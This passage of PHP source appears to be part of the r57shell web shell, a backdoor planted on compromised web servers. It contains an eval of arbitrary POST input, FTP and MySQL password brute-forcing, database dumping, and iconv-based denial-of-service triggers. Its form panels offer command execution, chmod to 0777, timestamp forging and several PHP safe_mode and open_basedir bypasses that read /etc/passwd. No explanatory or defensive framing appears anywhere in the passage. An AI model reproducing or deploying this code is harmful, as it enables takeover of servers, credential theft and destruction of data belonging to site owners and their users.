6083 $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a);
6084
6085 break;
6086
6087 case 'dos37':
6088
6089 $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a);
6090
6091 break;
6092
6093 case 'dos38':
6094
6095 $a = str_repeat("/", 9791999); iconv_strlen(1, $a);
6096
6097 break;
6098
6099}
6100
6101
6102
6103if ($_POST['cmd']=="php_eval"){
6104
6105 $eval = @str_replace("<?","",$_POST['php_eval']);
6106
6107 $eval = @str_replace("?>","",$eval);
6108
6109 @eval($eval);}
6110
6111
6112
6113if ($_POST['cmd']=="ftp_brute")
6114
6115 {
6116
6117 $suc = 0;
6118
6119 if($_POST['brute_method']=='passwd'){
6120
6121 foreach($users as $user)
6122
6123 {
6124
6125 $connection = @ftp_connect($ftp_server,$ftp_port,10);
6126
6127 if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
6128
6129 else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
6130
6131 @ftp_close($connection);
6132
6133 }
6134
6135 }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
6136
6137 foreach($users as $user)
6138
6139 {
6140
6141 $connection = @ftp_connect($ftp_server,$ftp_port,10);
6142
6143 if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
6144
6145 @ftp_close($connection);
6146
6147 }
6148
6149 }
6150
6151 echo "\r\n-------------------------------------\r\n";
6152
6153 $count = count($users);
6154
6155 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
6156
6157 echo $lang[$language.'_text97'].$count."\r\n";
6158
6159 echo $lang[$language.'_text98'].$suc."\r\n";
6160
6161 }
6162
6163
6164
6165if ($_POST['cmd']=="db_brute")
6166
6167 {
6168
6169 $suc = 0;
6170
6171 if($_POST['brute_method']=='passwd'){
6172
6173 foreach($users as $user)
6174
6175 {
6176
6177 $sql = new my_sql();
6178
6179 $sql->db = $_POST['db'];
6180
6181 $sql->host = $_POST['db_server'];
6182
6183 $sql->port = $_POST['db_port'];
6184
6185 $sql->user = $user;
6186
6187 $sql->pass = $user;
6188
6189 if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
6190
6191 }
6192
6193 if(isset($_POST['reverse']))
6194
6195 {
6196
6197 foreach($users as $user)
6198
6199 {
6200
6201 $sql = new my_sql();
6202
6203 $sql->db = $_POST['db'];
6204
6205 $sql->host = $_POST['db_server'];
6206
6207 $sql->port = $_POST['db_port'];
6208
6209 $sql->user = $user;
6210
6211 $sql->pass = strrev($user);
6212
6213 if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; }
6214
6215 }
6216
6217 }
6218
6219 }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
6220
6221 foreach($users as $user)
6222
6223 {
6224
6225 $sql = new my_sql();
6226
6227 $sql->db = $_POST['db'];
6228
6229 $sql->host = $_POST['db_server'];
6230
6231 $sql->port = $_POST['db_port'];
6232
6233 $sql->user = $_POST['mysql_l'];
6234
6235 $sql->pass = $user;
6236
6237 if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; }
6238
6239 }
6240
6241 }
6242
6243 echo "\r\n-------------------------------------\r\n";
6244
6245 $count = count($users);
6246
6247 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
6248
6249 echo $lang[$language.'_text97'].$count."\r\n";
6250
6251 echo $lang[$language.'_text98'].$suc."\r\n";
6252
6253 }
6254
6255
6256
6257if ($_POST['cmd']=="mysql_dump")
6258
6259 {
6260
6261 if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); }
6262
6263 $sql = new my_sql();
6264
6265 $sql->db = $_POST['db'];
6266
6267 $sql->host = $_POST['db_server'];
6268
6269 $sql->port = $_POST['db_port'];
6270
6271 $sql->user = $_POST['mysql_l'];
6272
6273 $sql->pass = $_POST['mysql_p'];
6274
6275 $sql->base = $_POST['mysql_db'];
6276
6277 if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
6278
6279 else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
6280
6281 else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
6282
6283 else {
6284
6285 if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
6286
6287 else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} }
6288
6289 else { echo "[-] ERROR! Can't write in dump file"; }
6290
6291 }
6292
6293 }
6294
6295
6296
6297echo "</textarea></div>";
6298
6299echo "</b>";
6300
6301echo "</td></tr></table>";
6302
6303echo "<table width=100% cellpadding=0 cellspacing=0>";
6304
6305
6306
6307function div_title($title, $id)
6308
6309{
6310
6311 return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
6312
6313}
6314
6315function div($id)
6316
6317 {
6318
6319 if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
6320
6321 $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39');
6322
6323 if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
6324
6325 return '<div id="'.$id.'">';
6326
6327 }
6328
6329
6330
6331if(!$safe_mode){
6332
6333echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
6334
6335echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
6336
6337echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6338
6339echo $te.'</div>'.$table_end1.$fe;
6340
6341}
6342
6343else{
6344
6345echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
6346
6347echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
6348
6349echo $te.'</div>'.$table_end1.$fe;
6350
6351}
6352
6353echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
6354
6355echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
6356
6357echo $te.'</div>'.$table_end1.$fe;
6358
6359
6360
6361if($safe_mode || $open_basedir){
6362
6363echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
6364
6365echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
6366
6367echo $te.'</div>'.$table_end1.$fe;
6368
6369}
6370
6371
6372
6373if($unix && @function_exists('touch')){
6374
6375echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
6376
6377echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"])))
6378
6379.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
6380
6381.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
6382
6383echo sr(15,"<b> or set Day".$arrow."</b>",
6384
6385'
6386
6387<select name="day" size="1">
6388
6389<option value="01">1</option>
6390
6391<option value="02">2</option>
6392
6393<option value="03">3</option>
6394
6395<option value="04">4</option>
6396
6397<option value="05">5</option>
6398
6399<option value="06">6</option>
6400
6401<option value="07">7</option>
6402
6403<option value="08">8</option>
6404
6405<option value="09">9</option>
6406
6407<option value="10">10</option>
6408
6409<option value="11">11</option>
6410
6411<option value="12">12</option>
6412
6413<option value="13">13</option>
6414
6415<option value="14">14</option>
6416
6417<option value="15">15</option>
6418
6419<option value="16">16</option>
6420
6421<option value="17">17</option>
6422
6423<option value="18">18</option>
6424
6425<option value="19">19</option>
6426
6427<option value="20">20</option>
6428
6429<option value="21">21</option>
6430
6431<option value="22">22</option>
6432
6433<option value="23">23</option>
6434
6435<option value="24">24</option>
6436
6437<option value="25">25</option>
6438
6439<option value="26">26</option>
6440
6441<option value="27">27</option>
6442
6443<option value="28">28</option>
6444
6445<option value="29">29</option>
6446
6447<option value="30">30</option>
6448
6449<option value="31">31</option>
6450
6451</select>'
6452
6453.ws(4)."<b>Month".$arrow."</b>"
6454
6455.'
6456
6457<select name="month" size="1">
6458
6459<option value="January">January</option>
6460
6461<option value="February">February</option>
6462
6463<option value="March">March</option>
6464
6465<option value="April">April</option>
6466
6467<option value="May">May</option>
6468
6469<option value="June">June</option>
6470
6471<option value="July">July</option>
6472
6473<option value="August">August</option>
6474
6475<option value="September">September</option>
6476
6477<option value="October">October</option>
6478
6479<option value="November">November</option>
6480
6481<option value="December">December</option>
6482
6483</select>'
6484
6485.ws(4)."<b>Year".$arrow."</b>"
6486
6487.'
6488
6489<select name="year" size="1">
6490
6491<option value="1998">1998</option>
6492
6493<option value="1999">1999</option>
6494
6495<option value="2000">2000</option>
6496
6497<option value="2001">2001</option>
6498
6499<option value="2002">2002</option>
6500
6501<option value="2003">2003</option>
6502
6503<option value="2004">2004</option>
6504
6505<option value="2005">2005</option>
6506
6507<option value="2006">2006</option>
6508
6509<option value="2006">2007</option>
6510
6511<option value="2006">2008</option>
6512
6513<option value="2006">2009</option>
6514
6515<option value="2006">2010</option>
6516
6517</select>'
6518
6519.ws(4)."<b>Hour".$arrow."</b>"
6520
6521.'
6522
6523<select name="chasi" size="1">
6524
6525<option value="01">01</option>
6526
6527<option value="02">02</option>
6528
6529<option value="03">03</option>
6530
6531<option value="04">04</option>
6532
6533<option value="05">05</option>
6534
6535<option value="06">06</option>
6536
6537<option value="07">07</option>
6538
6539<option value="08">08</option>
6540
6541<option value="09">09</option>
6542
6543<option value="10">10</option>
6544
6545<option value="11">11</option>
6546
6547<option value="12">12</option>
6548
6549<option value="13">13</option>
6550
6551<option value="14">14</option>
6552
6553<option value="15">15</option>
6554
6555<option value="16">16</option>
6556
6557<option value="17">17</option>
6558
6559<option value="18">18</option>
6560
6561<option value="19">19</option>
6562
6563<option value="20">20</option>
6564
6565<option value="21">21</option>
6566
6567<option value="22">22</option>
6568
6569<option value="23">23</option>
6570
6571<option value="24">24</option>
6572
6573</select>'
6574
6575.ws(4)."<b>Minute".$arrow."</b>"
6576
6577.'
6578
6579<select name="minutes" size="1">
6580
6581<option value="01">1</option>
6582
6583<option value="02">2</option>
6584
6585<option value="03">3</option>
6586
6587<option value="04">4</option>
6588
6589<option value="05">5</option>
6590
6591<option value="06">6</option>
6592
6593<option value="07">7</option>
6594
6595<option value="08">8</option>
6596
6597<option value="09">9</option>
6598
6599<option value="10">10</option>
6600
6601<option value="11">11</option>
6602
6603<option value="12">12</option>
6604
6605<option value="13">13</option>
6606
6607<option value="14">14</option>
6608
6609<option value="15">15</option>
6610
6611<option value="16">16</option>
6612
6613<option value="17">17</option>
6614
6615<option value="18">18</option>
6616
6617<option value="19">19</option>
6618
6619<option value="20">20</option>
6620
6621<option value="21">21</option>
6622
6623<option value="22">22</option>
6624
6625<option value="23">23</option>
6626
6627<option value="24">24</option>
6628
6629<option value="25">25</option>
6630
6631<option value="26">26</option>
6632
6633<option value="27">27</option>
6634
6635<option value="28">28</option>
6636
6637<option value="29">29</option>
6638
6639<option value="30">30</option>
6640
6641<option value="31">31</option>
6642
6643<option value="32">32</option>
6644
6645<option value="33">33</option>
6646
6647<option value="34">34</option>
6648
6649<option value="35">35</option>
6650
6651<option value="36">36</option>
6652
6653<option value="37">37</option>
6654
6655<option value="38">38</option>
6656
6657<option value="39">39</option>
6658
6659<option value="40">40</option>
6660
6661<option value="41">41</option>
6662
6663<option value="42">42</option>
6664
6665<option value="43">43</option>
6666
6667<option value="44">44</option>
6668
6669<option value="45">45</option>
6670
6671<option value="46">46</option>
6672
6673<option value="47">47</option>
6674
6675<option value="48">48</option>
6676
6677<option value="49">49</option>
6678
6679<option value="50">50</option>
6680
6681<option value="51">51</option>
6682
6683<option value="52">52</option>
6684
6685<option value="53">53</option>
6686
6687<option value="54">54</option>
6688
6689<option value="55">55</option>
6690
6691<option value="56">56</option>
6692
6693<option value="57">57</option>
6694
6695<option value="58">58</option>
6696
6697<option value="59">59</option>
6698
6699</select>'
6700
6701.ws(4)."<b>Second".$arrow."</b>"
6702
6703.'
6704
6705<select name="second" size="1">
6706
6707<option value="01">1</option>
6708
6709<option value="02">2</option>
6710
6711<option value="03">3</option>
6712
6713<option value="04">4</option>
6714
6715<option value="05">5</option>
6716
6717<option value="06">6</option>
6718
6719<option value="07">7</option>
6720
6721<option value="08">8</option>
6722
6723<option value="09">9</option>
6724
6725<option value="10">10</option>
6726
6727<option value="11">11</option>
6728
6729<option value="12">12</option>
6730
6731<option value="13">13</option>
6732
6733<option value="14">14</option>
6734
6735<option value="15">15</option>
6736
6737<option value="16">16</option>
6738
6739<option value="17">17</option>
6740
6741<option value="18">18</option>
6742
6743<option value="19">19</option>
6744
6745<option value="20">20</option>
6746
6747<option value="21">21</option>
6748
6749<option value="22">22</option>
6750
6751<option value="23">23</option>
6752
6753<option value="24">24</option>
6754
6755<option value="25">25</option>
6756
6757<option value="26">26</option>
6758
6759<option value="27">27</option>
6760
6761<option value="28">28</option>
6762
6763<option value="29">29</option>
6764
6765<option value="30">30</option>
6766
6767<option value="31">31</option>
6768
6769<option value="32">32</option>
6770
6771<option value="33">33</option>
6772
6773<option value="34">34</option>
6774
6775<option value="35">35</option>
6776
6777<option value="36">36</option>
6778
6779<option value="37">37</option>
6780
6781<option value="38">38</option>
6782
6783<option value="39">39</option>
6784
6785<option value="40">40</option>
6786
6787<option value="41">41</option>
6788
6789<option value="42">42</option>
6790
6791<option value="43">43</option>
6792
6793<option value="44">44</option>
6794
6795<option value="45">45</option>
6796
6797<option value="46">46</option>
6798
6799<option value="47">47</option>
6800
6801<option value="48">48</option>
6802
6803<option value="49">49</option>
6804
6805<option value="50">50</option>
6806
6807<option value="51">51</option>
6808
6809<option value="52">52</option>
6810
6811<option value="53">53</option>
6812
6813<option value="54">54</option>
6814
6815<option value="55">55</option>
6816
6817<option value="56">56</option>
6818
6819<option value="57">57</option>
6820
6821<option value="58">58</option>
6822
6823<option value="59">59</option>
6824
6825</select>'
6826
6827.in('hidden','cmd',0,'touch')
6828
6829.in('hidden','dir',0,$dir)
6830
6831.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6832
6833echo $te.'</div>'.$table_end1.$fe;
6834
6835}
6836
6837
6838
6839$select='';
6840
6841if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
6842
6843if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
6844
6845if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
6846
6847if($unix && $select){
6848
6849echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
6850
6851echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6852
6853echo $te.'</div>'.$table_end1.$fe;
6854
6855}
6856
6857
6858
6859if(!$safe_mode){
6860
6861$aliases2 = '';
6862
6863foreach ($aliases as $alias_name=>$alias_cmd)
6864
6865 {
6866
6867 $aliases2 .= "<option>$alias_name</option>";
6868
6869 }
6870
6871echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts;
6872
6873echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6874
6875echo $te.'</div>'.$table_end1.$fe;
6876
6877}
6878
6879
6880
6881echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts;
6882
6883echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
6884
6885echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
6886
6887echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
6888
6889echo $te.'</div>'.$table_end1.$fe;
6890
6891
6892
6893if(!$safe_mode && $unix){
6894
6895echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
6896
6897echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
6898
6899echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
6900
6901echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
6902
6903echo $te.'</div>'.$table_end1.$fe;
6904
6905}
6906
6907
6908
6909echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font;
6910
6911echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
6912
6913echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
6914
6915echo "</textarea>";
6916
6917echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
6918
6919echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
6920
6921echo "</div></div></font>";
6922
6923echo $table_end1.$fe;
6924
6925
6926
6927if($safe_mode || $open_basedir)
6928
6929{
6930
6931echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
6932
6933echo "<table class=table1 width=100% align=center>";
6934
6935echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6936
6937echo $te.'</div>'.$table_end1.$fe;
6938
6939}
6940
6941
6942
6943if(($safe_mode || $open_basedir) && $curl_on && @version_compare(@phpversion(),"5.2.0")<=0)
6944
6945{
6946
6947echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
6948
6949echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6950
6951echo $te.'</div>'.$table_end1.$fe;
6952
6953}
6954
6955
6956
6957if(($safe_mode || $open_basedir) && $mysql_on)
6958
6959{
6960
6961echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts;
6962
6963echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
6964
6965echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6966
6967echo $te.'</div>'.$table_end1.$fe;
6968
6969}
6970
6971
6972
6973if(($safe_mode || $open_basedir) && $mysqli_on)
6974
6975{
6976
6977echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts;
6978
6979echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306"))));
6980
6981echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6982
6983echo $te.'</div>'.$table_end1.$fe;
6984
6985}
6986
6987
6988
6989if(($safe_mode || $open_basedir) && $mssql_on)
6990
6991{
6992
6993echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
6994
6995echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
6996
6997echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6998
6999echo $te.'</div>'.$table_end1.$fe;
7000
7001}
7002
7003
7004
7005
7006
7007if(($safe_mode || $open_basedir) && $unix && @function_exists('mb_send_mail') && @version_compare(@phpversion(),"5.2.0")<=0){
7008
7009echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
7010
7011echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7012
7013echo $te.'</div>'.$table_end1.$fe;
7014
7015}
7016
7017
7018
7019if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_list') && @version_compare(@phpversion(),"5.2.0")<=0){
7020
7021echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts;
7022
7023echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7024
7025echo $te.'</div>'.$table_end1.$fe;
7026
7027}
7028
7029
7030
7031if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_body') && @version_compare(@phpversion(),"5.2.0")<=0){
7032
7033echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
7034
7035echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7036
7037echo $te.'</div>'.$table_end1.$fe;
7038
7039}
7040
7041
7042
7043if(($safe_mode || $open_basedir) && @function_exists('copy') && @version_compare(@phpversion(),"5.2.0")<=0)
7044
7045{
7046
7047echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
7048
7049echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
7050
7051echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7052
7053echo $te.'</div>'.$table_end1.$fe;
7054
7055}
7056
7057
7058
7059if(($safe_mode || $open_basedir) && @function_exists('ini_restore') && @version_compare(@phpversion(),"5.2.0")<=0){
7060
7061echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
7062
7063echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7064
7065echo $te.'</div>'.$table_end1.$fe;
7066
7067}
7068
7069
7070
7071if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.0.0")<0){
7072
7073echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
7074
7075echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7076
7077echo $te.'</div>'.$table_end1.$fe;
7078
7079}
7080
7081
7082
7083if(($safe_mode || $open_basedir) && @function_exists('glob') && @version_compare(@phpversion(),"5.2.2")<=0){
7084
7085echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
7086
7087echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7088
7089echo $te.'</div>'.$table_end1.$fe;
7090
7091}
7092
7093
7094
7095if(($safe_mode || $open_basedir) && @function_exists('realpath') && @version_compare(@phpversion(),"5.2.4")<=0){
7096
7097$select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>".
7098
7099"<option value=3 selected>[ 3 ] (<1 sec (default))</option>".
7100
7101"<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>";
7102
7103echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts;
7104
7105echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
7106
7107echo $te.'</div>'.$table_end1.$fe;
7108
7109}
7110
7111
7112
7113if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
7114
7115{
